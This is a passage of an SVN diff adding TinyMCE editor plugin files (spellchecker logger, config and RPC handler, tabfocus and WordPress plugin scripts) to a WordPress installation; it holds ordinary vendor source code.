+ * @copyright Copyright © 2005, Moxiecode Systems AB, All rights reserved.
+ */
+
+// File type contstants
+define('MC_LOGGER_DEBUG', 0);
+define('MC_LOGGER_INFO', 10);
+define('MC_LOGGER_WARN', 20);
+define('MC_LOGGER_ERROR', 30);
+define('MC_LOGGER_FATAL', 40);
+
+/**
+ * Logging utility class. This class handles basic logging with levels, log rotation and custom log formats. It's
+ * designed to be compact but still powerful and flexible.
+ */
+class Moxiecode_Logger {
+	// Private fields
+	var $_path;
+	var $_filename;
+	var $_maxSize;
+	var $_maxFiles;
+	var $_maxSizeBytes;
+	var $_level;
+	var $_format;
+
+	/**
+	 * Constructs a new logger instance.
+	 */
+	function Moxiecode_Logger() {
+		$this->_path = "";
+		$this->_filename = "{level}.log";
+		$this->setMaxSize("100k");
+		$this->_maxFiles = 10;
+		$this->_level = MC_LOGGER_DEBUG;
+		$this->_format = "[{time}] [{level}] {message}";
+	}
+
+	/**
+	 * Sets the current log level, use the MC_LOGGER constants.
+	 *
+	 * @param int $level Log level instance for example MC_LOGGER_DEBUG.
+	 */
+	function setLevel($level) {
+		if (is_string($level)) {
+			switch (strtolower($level)) {
+				case "debug":
+					$level = MC_LOGGER_DEBUG;
+					break;
+
+				case "info":
+					$level = MC_LOGGER_INFO;
+					break;
+
+				case "warn":
+				case "warning":
+					$level = MC_LOGGER_WARN;
+					break;
+
+				case "error":
+					$level = MC_LOGGER_ERROR;
+					break;
+
+				case "fatal":
+					$level = MC_LOGGER_FATAL;
+					break;
+
+				default:
+					$level = MC_LOGGER_FATAL;
+			}
+		}
+
+		$this->_level = $level;
+	}
+
+	/**
+	 * Returns the current log level for example MC_LOGGER_DEBUG.
+	 *
+	 * @return int Current log level for example MC_LOGGER_DEBUG.
+	 */
+	function getLevel() {
+		return $this->_level;
+	}
+
+	function setPath($path) {
+		$this->_path = $path;
+	}
+
+	function getPath() {
+		return $this->_path;
+	}
+
+	function setFileName($file_name) {
+		$this->_filename = $file_name;
+	}
+
+	function getFileName() {
+		return $this->_filename;
+	}
+
+	function setFormat($format) {
+		$this->_format = $format;
+	}
+
+	function getFormat() {
+		return $this->_format;
+	}
+
+	function setMaxSize($size) {
+		// Fix log max size
+		$logMaxSizeBytes = intval(preg_replace("/[^0-9]/", "", $size));
+
+		// Is KB
+		if (strpos((strtolower($size)), "k") > 0)
+			$logMaxSizeBytes *= 1024;
+
+		// Is MB
+		if (strpos((strtolower($size)), "m") > 0)
+			$logMaxSizeBytes *= (1024 * 1024);
+
+		$this->_maxSizeBytes = $logMaxSizeBytes;
+		$this->_maxSize = $size;
+	}
+
+	function getMaxSize() {
+		return $this->_maxSize;
+	}
+
+	function setMaxFiles($max_files) {
+		$this->_maxFiles = $max_files;
+	}
+
+	function getMaxFiles() {
+		return $this->_maxFiles;
+	}
+
+	function debug($msg) {
+		$args = func_get_args();
+		$this->_logMsg(MC_LOGGER_DEBUG, implode(', ', $args));
+	}
+
+	function info($msg) {
+		$args = func_get_args();
+		$this->_logMsg(MC_LOGGER_INFO, implode(', ', $args));
+	}
+
+	function warn($msg) {
+		$args = func_get_args();
+		$this->_logMsg(MC_LOGGER_WARN, implode(', ', $args));
+	}
+
+	function error($msg) {
+		$args = func_get_args();
+		$this->_logMsg(MC_LOGGER_ERROR, implode(', ', $args));
+	}
+
+	function fatal($msg) {
+		$args = func_get_args();
+		$this->_logMsg(MC_LOGGER_FATAL, implode(', ', $args));
+	}
+
+	function isDebugEnabled() {
+		return $this->_level >= MC_LOGGER_DEBUG;
+	}
+
+	function isInfoEnabled() {
+		return $this->_level >= MC_LOGGER_INFO;
+	}
+
+	function isWarnEnabled() {
+		return $this->_level >= MC_LOGGER_WARN;
+	}
+
+	function isErrorEnabled() {
+		return $this->_level >= MC_LOGGER_ERROR;
+	}
+
+	function isFatalEnabled() {
+		return $this->_level >= MC_LOGGER_FATAL;
+	}
+
+	function _logMsg($level, $message) {
+		$roll = false;
+
+		if ($level < $this->_level)
+			return;
+
+		$logFile = $this->toOSPath($this->_path . "/" . $this->_filename);
+
+		switch ($level) {
+			case MC_LOGGER_DEBUG:
+				$levelName = "DEBUG";
+				break;
+
+			case MC_LOGGER_INFO:
+				$levelName = "INFO";
+				break;
+
+			case MC_LOGGER_WARN:
+				$levelName = "WARN";
+				break;
+
+			case MC_LOGGER_ERROR:
+				$levelName = "ERROR";
+				break;
+
+			case MC_LOGGER_FATAL:
+				$levelName = "FATAL";
+				break;
+		}
+
+		$logFile = str_replace('{level}', strtolower($levelName), $logFile);
+
+		$text = $this->_format;
+		$text = str_replace('{time}', date("Y-m-d H:i:s"), $text);
+		$text = str_replace('{level}', strtolower($levelName), $text);
+		$text = str_replace('{message}', $message, $text);
+		$message = $text . "\r\n";
+
+		// Check filesize
+		if (file_exists($logFile)) {
+			$size = @filesize($logFile);
+
+			if ($size + strlen($message) > $this->_maxSizeBytes)
+				$roll = true;
+		}
+
+		// Roll if the size is right
+		if ($roll) {
+			for ($i=$this->_maxFiles-1; $i>=1; $i--) {
+				$rfile = $this->toOSPath($logFile . "." . $i);
+				$nfile = $this->toOSPath($logFile . "." . ($i+1));
+
+				if (@file_exists($rfile))
+					@rename($rfile, $nfile);
+			}
+
+			@rename($logFile, $this->toOSPath($logFile . ".1"));
+
+			// Delete last logfile
+			$delfile = $this->toOSPath($logFile . "." . ($this->_maxFiles + 1));
+			if (@file_exists($delfile))
+				@unlink($delfile);
+		}
+
+		// Append log line
+		if (($fp = @fopen($logFile, "a")) != null) {
+			@fputs($fp, $message);
+			@fflush($fp);
+			@fclose($fp);
+		}
+	}
+
+	/**
+	 * Converts a Unix path to OS specific path.
+	 *
+	 * @param String $path Unix path to convert.
+	 */
+	function toOSPath($path) {
+		return str_replace("/", DIRECTORY_SEPARATOR, $path);
+	}
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/spellchecker/config.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/spellchecker/config.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/spellchecker/config.php	(revision 44)
@@ -0,0 +1,28 @@
+<?php
+/**
+ * config.php
+ * @package MCManager.includes
+ * @author Moxiecode
+ * @copyright Copyright © 2007, Moxiecode Systems AB, All rights reserved.
+ */
+	// General settings
+	$config['general.engine'] = 'GoogleSpell';
+	//$config['general.engine'] = 'PSpell';
+	//$config['general.engine'] = 'PSpellShell';
+	//$config['general.remote_rpc_url'] = 'http://some.other.site/some/url/rpc.php';
+
+	// PSpell settings
+	$config['PSpell.mode'] = PSPELL_FAST;
+	$config['PSpell.spelling'] = "";
+	$config['PSpell.jargon'] = "";
+	$config['PSpell.encoding'] = "";
+
+	// PSpellShell settings
+	$config['PSpellShell.mode'] = PSPELL_FAST;
+	$config['PSpellShell.aspell'] = '/usr/bin/aspell';
+	$config['PSpellShell.tmp'] = '/tmp';
+
+	// Windows PSpellShell settings
+	//$config['PSpellShell.aspell'] = '"c:\Program Files\Aspell\bin\aspell.exe"';
+	//$config['PSpellShell.tmp'] = 'c:/temp';
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/spellchecker/css/content.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/spellchecker/css/content.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/spellchecker/css/content.css	(revision 44)
@@ -0,0 +1,1 @@
+.mceItemHiddenSpellWord {background:url(../img/wline.gif) repeat-x bottom left; cursor:default;}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/spellchecker/editor_plugin.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/spellchecker/editor_plugin.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/spellchecker/editor_plugin.js	(revision 44)
@@ -0,0 +1,338 @@
+/**
+ * $Id: editor_plugin_src.js 425 2007-11-21 15:17:39Z spocke $
+ *
+ * @author Moxiecode
+ * @copyright Copyright © 2004-2008, Moxiecode Systems AB, All rights reserved.
+ */
+
+(function() {
+	var JSONRequest = tinymce.util.JSONRequest, each = tinymce.each, DOM = tinymce.DOM;
+
+	tinymce.create('tinymce.plugins.SpellcheckerPlugin', {
+		getInfo : function() {
+			return {
+				longname : 'Spellchecker',
+				author : 'Moxiecode Systems AB',
+				authorurl : 'http://tinymce.moxiecode.com',
+				infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/spellchecker',
+				version : tinymce.majorVersion + "." + tinymce.minorVersion
+			};
+		},
+
+		init : function(ed, url) {
+			var t = this, cm;
+
+			t.url = url;
+			t.editor = ed;
+
+			// Register commands
+			ed.addCommand('mceSpellCheck', function() {
+				if (!t.active) {
+					ed.setProgressState(1);
+					t._sendRPC('checkWords', [t.selectedLang, t._getWords()], function(r) {
+						if (r.length > 0) {
+							t.active = 1;
+							t._markWords(r);
+							ed.setProgressState(0);
+							ed.nodeChanged();
+						} else {
+							ed.setProgressState(0);
+							ed.windowManager.alert('spellchecker.no_mpell');
+						}
+					});
+				} else
+					t._done();
+			});
+
+			ed.onInit.add(function() {
+				if (ed.settings.content_css !== false)
+					ed.dom.loadCSS(url + '/css/content.css');
+			});
+
+			ed.onClick.add(t._showMenu, t);
+			ed.onContextMenu.add(t._showMenu, t);
+			ed.onBeforeGetContent.add(function() {
+				if (t.active)
+					t._removeWords();
+			});
+
+			ed.onNodeChange.add(function(ed, cm) {
+				cm.setActive('spellchecker', t.active);
+			});
+
+			ed.onSetContent.add(function() {
+				t._done();
+			});
+
+			ed.onBeforeGetContent.add(function() {
+				t._done();
+			});
+
+			ed.onBeforeExecCommand.add(function(ed, cmd) {
+				if (cmd == 'mceFullScreen')
+					t._done();
+			});
+
+			// Find selected language
+			t.languages = {};
+			each(ed.getParam('spellchecker_languages', '+English=en,Danish=da,Dutch=nl,Finnish=fi,French=fr,German=de,Italian=it,Polish=pl,Portuguese=pt,Spanish=es,Swedish=sv', 'hash'), function(v, k) {
+				if (k.indexOf('+') === 0) {
+					k = k.substring(1);
+					t.selectedLang = v;
+				}
+
+				t.languages[k] = v;
+			});
+		},
+
+		createControl : function(n, cm) {
+			var t = this, c, ed = t.editor;
+
+			if (n == 'spellchecker') {
+				c = cm.createSplitButton(n, {title : 'spellchecker.desc', cmd : 'mceSpellCheck', scope : t});
+
+				c.onRenderMenu.add(function(c, m) {
+					m.add({title : 'spellchecker.langs', 'class' : 'mceMenuItemTitle'}).setDisabled(1);
+					each(t.languages, function(v, k) {
+						var o = {icon : 1}, mi;
+
+						o.onclick = function() {
+							mi.setSelected(1);
+							t.selectedItem.setSelected(0);
+							t.selectedItem = mi;
+							t.selectedLang = v;
+						};
+
+						o.title = k;
+						mi = m.add(o);
+						mi.setSelected(v == t.selectedLang);
+
+						if (v == t.selectedLang)
+							t.selectedItem = mi;
+					})
+				});
+
+				return c;
+			}
+		},
+
+		// Internal functions
+
+		_walk : function(n, f) {
+			var d = this.editor.getDoc(), w;
+
+			if (d.createTreeWalker) {
+				w = d.createTreeWalker(n, NodeFilter.SHOW_TEXT, null, false);
+
+				while ((n = w.nextNode()) != null)
+					f.call(this, n);
+			} else
+				tinymce.walk(n, f, 'childNodes');
+		},
+
+		_getSeparators : function() {
+			var re = '', i, str = this.editor.getParam('spellchecker_word_separator_chars', '\\s!"#$%&()*+,-./:;<=>?@[\]^_{|}§©«®±¶·ž»ŒœŸ¿×÷€\u201d\u201c');
+
+			// Build word separator regexp
+			for (i=0; i<str.length; i++)
+				re += '\\' + str.charAt(i);
+
+			return re;
+		},
+
+		_getWords : function() {
+			var ed = this.editor, wl = [], tx = '', lo = {};
+
+			// Get area text
+			this._walk(ed.getBody(), function(n) {
+				if (n.nodeType == 3)
+					tx += n.nodeValue + ' ';
+			});
+
+			// Split words by separator
+			tx = tx.replace(new RegExp('([0-9]|[' + this._getSeparators() + '])', 'g'), ' ');
+			tx = tinymce.trim(tx.replace(/(\s+)/g, ' '));
+
+			// Build word array and remove duplicates
+			each(tx.split(' '), function(v) {
+				if (!lo[v]) {
+					wl.push(v);
+					lo[v] = 1;
+				}
+			});
+
+			return wl;
+		},
+
+		_removeWords : function(w) {
+			var ed = this.editor, dom = ed.dom, se = ed.selection, b = se.getBookmark();
+
+			each(dom.select('span').reverse(), function(n) {
+				if (n && (dom.hasClass(n, 'mceItemHiddenSpellWord') || dom.hasClass(n, 'mceItemHidden'))) {
+					if (!w || dom.decode(n.innerHTML) == w)
+						dom.remove(n, 1);
+				}
+			});
+
+			se.moveToBookmark(b);
+		},
+
+		_markWords : function(wl) {
+			var r1, r2, r3, r4, r5, w = '', ed = this.editor, re = this._getSeparators(), dom = ed.dom, nl = [];
+			var se = ed.selection, b = se.getBookmark();
+
+			each(wl, function(v) {
+				w += (w ? '|' : '') + v;
+			});
+
+			r1 = new RegExp('([' + re + '])(' + w + ')([' + re + '])', 'g');
+			r2 = new RegExp('^(' + w + ')', 'g');
+			r3 = new RegExp('(' + w + ')([' + re + ']?)$', 'g');
+			r4 = new RegExp('^(' + w + ')([' + re + ']?)$', 'g');
+			r5 = new RegExp('(' + w + ')([' + re + '])', 'g');
+
+			// Collect all text nodes
+			this._walk(this.editor.getBody(), function(n) {
+				if (n.nodeType == 3) {
+					nl.push(n);
+				}
+			});
+
+			// Wrap incorrect words in spans
+			each(nl, function(n) {
+				var v;
+
+				if (n.nodeType == 3) {
+					v = n.nodeValue;
+
+					if (r1.test(v) || r2.test(v) || r3.test(v) || r4.test(v)) {
+						v = dom.encode(v);
+						v = v.replace(r5, '<span class="mceItemHiddenSpellWord">$1</span>$2');
+						v = v.replace(r3, '<span class="mceItemHiddenSpellWord">$1</span>$2');
+
+						dom.replace(dom.create('span', {'class' : 'mceItemHidden'}, v), n);
+					}
+				}
+			});
+
+			se.moveToBookmark(b);
+		},
+
+		_showMenu : function(ed, e) {
+			var t = this, ed = t.editor, m = t._menu, p1, dom = ed.dom, vp = dom.getViewPort(ed.getWin());
+
+			if (!m) {
+				p1 = DOM.getPos(ed.getContentAreaContainer());
+				//p2 = DOM.getPos(ed.getContainer());
+
+				m = ed.controlManager.createDropMenu('spellcheckermenu', {
+					offset_x : p1.x,
+					offset_y : p1.y,
+					'class' : 'mceNoIcons'
+				});
+
+				t._menu = m;
+			}
+
+			if (dom.hasClass(e.target, 'mceItemHiddenSpellWord')) {
+				m.removeAll();
+				m.add({title : 'spellchecker.wait', 'class' : 'mceMenuItemTitle'}).setDisabled(1);
+
+				t._sendRPC('getSuggestions', [t.selectedLang, dom.decode(e.target.innerHTML)], function(r) {
+					m.removeAll();
+
+					if (r.length > 0) {
+						m.add({title : 'spellchecker.sug', 'class' : 'mceMenuItemTitle'}).setDisabled(1);
+						each(r, function(v) {
+							m.add({title : v, onclick : function() {
+								dom.replace(ed.getDoc().createTextNode(v), e.target);
+								t._checkDone();
+							}});
+						});
+
+						m.addSeparator();
+					} else
+						m.add({title : 'spellchecker.no_sug', 'class' : 'mceMenuItemTitle'}).setDisabled(1);
+
+					m.add({
+						title : 'spellchecker.ignore_word',
+						onclick : function() {
+							dom.remove(e.target, 1);
+							t._checkDone();
+						}
+					});
+
+					m.add({
+						title : 'spellchecker.ignore_words',
+						onclick : function() {
+							t._removeWords(dom.decode(e.target.innerHTML));
+							t._checkDone();
+						}
+					});
+
+					m.update();
+				});
+
+				ed.selection.select(e.target);
+				p1 = dom.getPos(e.target);
+				m.showMenu(p1.x, p1.y + e.target.offsetHeight - vp.y);
+
+				return tinymce.dom.Event.cancel(e);
+			} else
+				m.hideMenu();
+		},
+
+		_checkDone : function() {
+			var t = this, ed = t.editor, dom = ed.dom, o;
+
+			each(dom.select('span'), function(n) {
+				if (n && dom.hasClass(n, 'mceItemHiddenSpellWord')) {
+					o = true;
+					return false;
+				}
+			});
+
+			if (!o)
+				t._done();
+		},
+
+		_done : function() {
+			var t = this, la = t.active;
+
+			if (t.active) {
+				t.active = 0;
+				t._removeWords();
+
+				if (t._menu)
+					t._menu.hideMenu();
+
+				if (la)
+					t.editor.nodeChanged();
+			}
+		},
+
+		_sendRPC : function(m, p, cb) {
+			var t = this, url = t.editor.getParam("spellchecker_rpc_url", this.url+'/rpc.php');
+
+			if (url == '{backend}') {
+				t.editor.setProgressState(0);
+				alert('Please specify: spellchecker_rpc_url');
+				return;
+			}
+
+			JSONRequest.sendRPC({
+				url : url,
+				method : m,
+				params : p,
+				success : cb,
+				error : function(e, x) {
+					t.editor.setProgressState(0);
+					t.editor.windowManager.alert(e.errstr || ('Error response: ' + x.responseText));
+				}
+			});
+		}
+	});
+
+	// Register plugin
+	tinymce.PluginManager.add('spellchecker', tinymce.plugins.SpellcheckerPlugin);
+})();
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/spellchecker/includes/general.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/spellchecker/includes/general.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/spellchecker/includes/general.php	(revision 44)
@@ -0,0 +1,98 @@
+<?php
+/**
+ * general.php
+ *
+ * @package MCManager.includes
+ * @author Moxiecode
+ * @copyright Copyright © 2007, Moxiecode Systems AB, All rights reserved.
+ */
+
+@error_reporting(E_ALL ^ E_NOTICE);
+$config = array();
+
+require_once(dirname(__FILE__) . "/../classes/utils/Logger.php");
+require_once(dirname(__FILE__) . "/../classes/utils/JSON.php");
+require_once(dirname(__FILE__) . "/../config.php");
+require_once(dirname(__FILE__) . "/../classes/SpellChecker.php");
+
+if (isset($config['general.engine']))
+	require_once(dirname(__FILE__) . "/../classes/" . $config["general.engine"] . ".php");
+
+/**
+ * Returns an request value by name without magic quoting.
+ *
+ * @param String $name Name of parameter to get.
+ * @param String $default_value Default value to return if value not found.
+ * @return String request value by name without magic quoting or default value.
+ */
+function getRequestParam($name, $default_value = false, $sanitize = false) {
+	if (!isset($_REQUEST[$name]))
+		return $default_value;
+
+	if (is_array($_REQUEST[$name])) {
+		$newarray = array();
+
+		foreach ($_REQUEST[$name] as $name => $value)
+			$newarray[formatParam($name, $sanitize)] = formatParam($value, $sanitize);
+
+		return $newarray;
+	}
+
+	return formatParam($_REQUEST[$name], $sanitize);
+}
+
+function &getLogger() {
+	global $mcLogger, $man;
+
+	if (isset($man))
+		$mcLogger = $man->getLogger();
+
+	if (!$mcLogger) {
+		$mcLogger = new Moxiecode_Logger();
+
+		// Set logger options
+		$mcLogger->setPath(dirname(__FILE__) . "/../logs");
+		$mcLogger->setMaxSize("100kb");
+		$mcLogger->setMaxFiles("10");
+		$mcLogger->setFormat("{time} - {message}");
+	}
+
+	return $mcLogger;
+}
+
+function debug($msg) {
+	$args = func_get_args();
+
+	$log = getLogger();
+	$log->debug(implode(', ', $args));
+}
+
+function info($msg) {
+	$args = func_get_args();
+
+	$log = getLogger();
+	$log->info(implode(', ', $args));
+}
+
+function error($msg) {
+	$args = func_get_args();
+
+	$log = getLogger();
+	$log->error(implode(', ', $args));
+}
+
+function warn($msg) {
+	$args = func_get_args();
+
+	$log = getLogger();
+	$log->warn(implode(', ', $args));
+}
+
+function fatal($msg) {
+	$args = func_get_args();
+
+	$log = getLogger();
+	$log->fatal(implode(', ', $args));
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/spellchecker/rpc.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/spellchecker/rpc.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/spellchecker/rpc.php	(revision 44)
@@ -0,0 +1,112 @@
+<?php
+/**
+ * $Id: rpc.php 822 2008-04-28 13:45:03Z spocke $
+ *
+ * @package MCManager.includes
+ * @author Moxiecode
+ * @copyright Copyright © 2004-2007, Moxiecode Systems AB, All rights reserved.
+ */
+
+require_once("./includes/general.php");
+
+// Set RPC response headers
+header('Content-Type: text/plain');
+header('Content-Encoding: UTF-8');
+header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
+header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
+header("Cache-Control: no-store, no-cache, must-revalidate");
+header("Cache-Control: post-check=0, pre-check=0", false);
+header("Pragma: no-cache");
+
+$raw = "";
+
+// Try param
+if (isset($_POST["json_data"]))
+	$raw = getRequestParam("json_data");
+
+// Try globals array
+if (!$raw && isset($_GLOBALS) && isset($_GLOBALS["HTTP_RAW_POST_DATA"]))
+	$raw = $_GLOBALS["HTTP_RAW_POST_DATA"];
+
+// Try globals variable
+if (!$raw && isset($HTTP_RAW_POST_DATA))
+	$raw = $HTTP_RAW_POST_DATA;
+
+// Try stream
+if (!$raw) {
+	if (!function_exists('file_get_contents')) {
+		$fp = fopen("php://input", "r");
+		if ($fp) {
+			$raw = "";
+
+			while (!feof($fp))
+				$raw = fread($fp, 1024);
+
+			fclose($fp);
+		}
+	} else
+		$raw = "" . file_get_contents("php://input");
+}
+
+// No input data
+if (!$raw)
+	die('{"result":null,"id":null,"error":{"errstr":"Could not get raw post data.","errfile":"","errline":null,"errcontext":"","level":"FATAL"}}');
+
+// Passthrough request to remote server
+if (isset($config['general.remote_rpc_url'])) {
+	$url = parse_url($config['general.remote_rpc_url']);
+
+	// Setup request
+	$req = "POST " . $url["path"] . " HTTP/1.0\r\n";
+	$req .= "Connection: close\r\n";
+	$req .= "Host: " . $url['host'] . "\r\n";
+	$req .= "Content-Length: " . strlen($raw) . "\r\n";
+	$req .= "\r\n" . $raw;
+
+	if (!isset($url['port']) || !$url['port'])
+		$url['port'] = 80;
+
+	$errno = $errstr = "";
+
+	$socket = fsockopen($url['host'], intval($url['port']), $errno, $errstr, 30);
+	if ($socket) {
+		// Send request headers
+		fputs($socket, $req);
+
+		// Read response headers and data
+		$resp = "";
+		while (!feof($socket))
+				$resp .= fgets($socket, 4096);
+
+		fclose($socket);
+
+		// Split response header/data
+		$resp = explode("\r\n\r\n", $resp);
+		echo $resp[1]; // Output body
+	}
+
+	die();
+}
+
+// Get JSON data
+$json = new Moxiecode_JSON();
+$input = $json->decode($raw);
+
+// Execute RPC
+if (isset($config['general.engine'])) {
+	$spellchecker = new $config['general.engine']($config);
+	$result = call_user_func_array(array($spellchecker, $input['method']), $input['params']);
+} else
+	die('{"result":null,"id":null,"error":{"errstr":"You must choose an spellchecker engine in the config.php file.","errfile":"","errline":null,"errcontext":"","level":"FATAL"}}');
+
+// Request and response id should always be the same
+$output = array(
+	"id" => $input->id,
+	"result" => $result,
+	"error" => null
+);
+
+// Return JSON encoded string
+echo $json->encode($output);
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/tabfocus/editor_plugin.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/tabfocus/editor_plugin.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/tabfocus/editor_plugin.js	(revision 44)
@@ -0,0 +1,1 @@
+(function(){var c=tinymce.DOM,a=tinymce.dom.Event,d=tinymce.each,b=tinymce.explode;tinymce.create("tinymce.plugins.TabFocusPlugin",{init:function(f,g){function e(i,j){if(j.keyCode===9){return a.cancel(j)}}function h(l,p){var j,m,o,n,k;function q(i){o=c.getParent(l.id,"form");n=o.elements;if(o){d(n,function(s,r){if(s.id==l.id){j=r;return false}});if(i>0){for(m=j+1;m<n.length;m++){if(n[m].type!="hidden"){return n[m]}}}else{for(m=j-1;m>=0;m--){if(n[m].type!="hidden"){return n[m]}}}}return null}if(p.keyCode===9){k=b(l.getParam("tab_focus",l.getParam("tabfocus_elements",":prev,:next")));if(k.length==1){k[1]=k[0];k[0]=":prev"}if(p.shiftKey){if(k[0]==":prev"){n=q(-1)}else{n=c.get(k[0])}}else{if(k[1]==":next"){n=q(1)}else{n=c.get(k[1])}}if(n){if(l=tinymce.EditorManager.get(n.id||n.name)){l.focus()}else{window.setTimeout(function(){window.focus();n.focus()},10)}return a.cancel(p)}}}f.onKeyUp.add(e);if(tinymce.isGecko){f.onKeyPress.add(h);f.onKeyDown.add(e)}else{f.onKeyDown.add(h)}f.onInit.add(function(){d(c.select("a:first,a:last",f.getContainer()),function(i){a.add(i,"focus",function(){f.focus()})})})},getInfo:function(){return{longname:"Tabfocus",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/tabfocus",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("tabfocus",tinymce.plugins.TabFocusPlugin)})();
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/wordpress/css/content.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/wordpress/css/content.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/wordpress/css/content.css	(revision 44)
@@ -0,0 +1,15 @@
+
+.mceWPnextpage, .mceWPmore {
+	border: 0px;
+	border-top: 1px dotted #cccccc;
+	display: block;
+	width: 100%;
+	height: 12px;
+	margin-top: 15px;
+}
+.mceWPmore {
+	background: #ffffff url(../img/more_bug.gif) no-repeat right top;
+}
+.mceWPnextpage {
+    background: #ffffff url(../img/page_bug.gif) no-repeat right top;
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/wordpress/editor_plugin.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/wordpress/editor_plugin.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/wordpress/editor_plugin.dev.js	(revision 44)
@@ -0,0 +1,297 @@
+/**
+ * WordPress plugin.
+ */
+
+(function() {
+	var DOM = tinymce.DOM;
+
+	tinymce.create('tinymce.plugins.WordPress', {
+		init : function(ed, url) {
+			var t = this, tbId = ed.getParam('wordpress_adv_toolbar', 'toolbar2'), last = 0, moreHTML, nextpageHTML;
+			moreHTML = '<img src="' + url + '/img/trans.gif" class="mceWPmore mceItemNoResize" title="'+ed.getLang('wordpress.wp_more_alt')+'" />';
+			nextpageHTML = '<img src="' + url + '/img/trans.gif" class="mceWPnextpage mceItemNoResize" title="'+ed.getLang('wordpress.wp_page_alt')+'" />';
+
+			if ( getUserSetting('hidetb', '0') == '1' )
+				ed.settings.wordpress_adv_hidden = 0;
+
+			// Hides the specified toolbar and resizes the iframe
+			ed.onPostRender.add(function() {
+				if ( ed.getParam('wordpress_adv_hidden', 1) ) {
+					DOM.hide(ed.controlManager.get(tbId).id);
+					t._resizeIframe(ed, tbId, 28);
+				}
+			});
+
+			// Register commands
+			ed.addCommand('WP_More', function() {
+				ed.execCommand('mceInsertContent', 0, moreHTML);
+			});
+
+			ed.addCommand('WP_Page', function() {
+				ed.execCommand('mceInsertContent', 0, nextpageHTML);
+			});
+
+			ed.addCommand('WP_Help', function() {
+					ed.windowManager.open({
+						url : tinymce.baseURL + '/wp-mce-help.php',
+						width : 450,
+						height : 420,
+						inline : 1
+					});
+				});
+
+			ed.addCommand('WP_Adv', function() {
+				var id = ed.controlManager.get(tbId).id, cm = ed.controlManager;
+
+				if (DOM.isHidden(id)) {
+					cm.setActive('wp_adv', 1);
+					DOM.show(id);
+					t._resizeIframe(ed, tbId, -28);
+					ed.settings.wordpress_adv_hidden = 0;
+					setUserSetting('hidetb', '1');
+				} else {
+					cm.setActive('wp_adv', 0);
+					DOM.hide(id);
+					t._resizeIframe(ed, tbId, 28);
+					ed.settings.wordpress_adv_hidden = 1;
+					setUserSetting('hidetb', '0');
+				}
+			});
+
+			// Register buttons
+			ed.addButton('wp_more', {
+				title : 'wordpress.wp_more_desc',
+				image : url + '/img/more.gif',
+				cmd : 'WP_More'
+			});
+
+			ed.addButton('wp_page', {
+				title : 'wordpress.wp_page_desc',
+				image : url + '/img/page.gif',
+				cmd : 'WP_Page'
+			});
+
+			ed.addButton('wp_help', {
+				title : 'wordpress.wp_help_desc',
+				image : url + '/img/help.gif',
+				cmd : 'WP_Help'
+			});
+
+			ed.addButton('wp_adv', {
+				title : 'wordpress.wp_adv_desc',
+				image : url + '/img/toolbars.gif',
+				cmd : 'WP_Adv'
+			});
+
+			// Add Media buttons
+			ed.addButton('add_media', {
+				title : 'wordpress.add_media',
+				image : url + '/img/media.gif',
+				onclick : function() {
+					tb_show('', tinymce.DOM.get('add_media').href);
+					tinymce.DOM.setStyle( ['TB_overlay','TB_window','TB_load'], 'z-index', '999999' );
+				}
+			});
+
+			ed.addButton('add_image', {
+				title : 'wordpress.add_image',
+				image : url + '/img/image.gif',
+				onclick : function() {
+					tb_show('', tinymce.DOM.get('add_image').href);
+					tinymce.DOM.setStyle( ['TB_overlay','TB_window','TB_load'], 'z-index', '999999' );
+				}
+			});
+
+			ed.addButton('add_video', {
+				title : 'wordpress.add_video',
+				image : url + '/img/video.gif',
+				onclick : function() {
+					tb_show('', tinymce.DOM.get('add_video').href);
+					tinymce.DOM.setStyle( ['TB_overlay','TB_window','TB_load'], 'z-index', '999999' );
+				}
+			});
+
+			ed.addButton('add_audio', {
+				title : 'wordpress.add_audio',
+				image : url + '/img/audio.gif',
+				onclick : function() {
+					tb_show('', tinymce.DOM.get('add_audio').href);
+					tinymce.DOM.setStyle( ['TB_overlay','TB_window','TB_load'], 'z-index', '999999' );
+				}
+			});
+
+			// Add Media buttons to fullscreen
+			ed.onBeforeExecCommand.add(function(ed, cmd, ui, val) {
+				if ( 'mceFullScreen' != cmd ) return;
+				if ( 'mce_fullscreen' != ed.id )
+					ed.settings.theme_advanced_buttons1 += ',|,add_image,add_video,add_audio,add_media';
+			});
+
